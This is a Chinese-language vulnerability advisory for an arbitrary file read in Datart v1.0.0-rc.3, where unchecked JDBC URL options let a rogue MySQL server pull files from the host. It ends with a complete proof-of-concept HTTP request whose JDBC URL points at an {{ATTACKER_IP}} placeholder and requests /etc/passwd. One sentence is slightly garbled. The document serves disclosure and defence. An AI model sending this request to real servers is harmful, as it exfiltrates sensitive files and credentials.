在 Datart v1.0.0-rc.3 中发现了一个任意文件读取漏洞。该应用程序在数据源配置期间未能正确验证 JDBC 连接 URL。
漏洞类型: 不当输入验证(CWE-20)/ 任意文件读取 受影响版本: Datart v1.0.0-rc.3 严重程度: 高危(可能导致敏感信息泄露)
该漏洞存在于数据源配置模块中。应用程序未严格清理 JDBC 配置中的 url 参数。具有数据源配置权限的远程攻击者可以向 JDBC URL 注入恶意参数(特别是 allowLoadLocalInfile=true)。
通过将 JDBC 连接指向攻击者控制的恶意 MySQL 服务器(Rogue MySQL Server),攻击者可以触发客户端将 Datart 服务器上的本地文件发送到攻击者的服务器。
成功利用该漏洞可使已认证攻击者读取服务器文件系统中的任意文件(例如 /etc/passwd、配置文件、源代码),可能导致服务器被攻陷或遭受进一步攻击。
LOAD DATA LOCAL INFILE 功能的恶意 MySQL 服务器(例如使用 等工具)。rogue_mysql_serverPOST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}